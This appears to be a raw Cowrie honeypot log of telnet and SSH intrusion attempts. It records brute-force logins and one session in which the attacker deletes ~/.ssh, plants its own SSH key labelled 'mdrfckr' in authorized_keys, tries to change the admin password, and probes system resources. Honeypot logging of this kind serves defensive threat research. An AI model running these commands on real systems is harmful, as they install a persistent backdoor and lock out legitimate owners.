{"eventid":"cowrie.session.closed","duration":32.42494320869446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:53.528654Z","src_ip":"69.6.249.0","session":"f4b324bad09b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58824,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0a876c50d0d","protocol":"telnet","message":"New connection: 69.6.249.0:58824 (159.203.135.109:23) [session: e0a876c50d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:55.780456Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":43930,"dst_ip":"159.203.135.109","dst_port":22,"session":"51c2bd98e8dc","protocol":"ssh","message":"New connection: 163.7.6.74:43930 (159.203.135.109:22) [session: 51c2bd98e8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:56.880526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:56.884688Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:57.138853Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.286214113235474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:57.248862Z","src_ip":"69.6.249.0","session":"f699b613069d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03318786621094,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:57.556713Z","src_ip":"69.6.249.0","session":"73fea538b425","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123456","message":"login attempt [admin/Admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:58.188749Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:58.739654Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:58.742632Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:58.746415Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:59.003690Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:59.552120Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:59.555288Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:59.814547Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:59.817973Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":43942,"dst_ip":"159.203.135.109","dst_port":22,"session":"285470a32163","protocol":"ssh","message":"New connection: 163.7.6.74:43942 (159.203.135.109:22) [session: 285470a32163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:00.068057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:00.072985Z","src_ip":"163.7.6.74","session":"285470a32163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:00.329950Z","src_ip":"163.7.6.74","session":"285470a32163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:01.389232Z","src_ip":"163.7.6.74","session":"285470a32163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58836,"dst_ip":"159.203.135.109","dst_port":23,"session":"63103390e8b3","protocol":"telnet","message":"New connection: 69.6.249.0:58836 (159.203.135.109:23) [session: 63103390e8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:01.487134Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:02.652189Z","src_ip":"163.7.6.74","session":"285470a32163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":46996,"dst_ip":"159.203.135.109","dst_port":22,"session":"718adfbc251c","protocol":"ssh","message":"New connection: 163.7.6.74:46996 (159.203.135.109:22) [session: 718adfbc251c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:02.902785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:02.908282Z","src_ip":"163.7.6.74","session":"718adfbc251c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:03.165084Z","src_ip":"163.7.6.74","session":"718adfbc251c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:04.222540Z","src_ip":"163.7.6.74","session":"718adfbc251c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.172261476516724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:04.760540Z","src_ip":"69.6.249.0","session":"fa3683132a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:05.481587Z","src_ip":"163.7.6.74","session":"718adfbc251c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:05.784713Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:05.787607Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:06.044813Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:06.591772Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin123456\\n1IBcyvCyG7fo\\n1IBcyvCyG7fo\"|passwd|bash","message":"CMD: echo -e \"Admin123456\\n1IBcyvCyG7fo\\n1IBcyvCyG7fo\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:06.595147Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:06.598536Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:06.601572Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/916a285c73d1168f5619666fe13e0194d00bf5eb3785b4433c003d6a9466e275","size":32,"shasum":"916a285c73d1168f5619666fe13e0194d00bf5eb3785b4433c003d6a9466e275","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/916a285c73d1168f5619666fe13e0194d00bf5eb3785b4433c003d6a9466e275 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:06.861180Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:07.436486Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin123456\\n1IBcyvCyG7fo\\n1IBcyvCyG7fo\\n\"|passwd","message":"CMD: echo \"Admin123456\\n1IBcyvCyG7fo\\n1IBcyvCyG7fo\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:07.440029Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ec14f97b2ee140aa8152a046678daf3e5cb01c7e88ada20c2721ed189d3897be","size":25,"shasum":"ec14f97b2ee140aa8152a046678daf3e5cb01c7e88ada20c2721ed189d3897be","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ec14f97b2ee140aa8152a046678daf3e5cb01c7e88ada20c2721ed189d3897be after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:07.697216Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.159369945526123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:08.089911Z","src_ip":"69.6.249.0","session":"3ab3d6ac7e31","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:08.289824Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:08.293086Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:08.551770Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:09.100358Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:09.104245Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:09.363109Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:10.199358Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:10.202573Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:10.205528Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:10.464735Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:11.019431Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:11.022600Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:11.278694Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:11.824325Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:11.827472Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
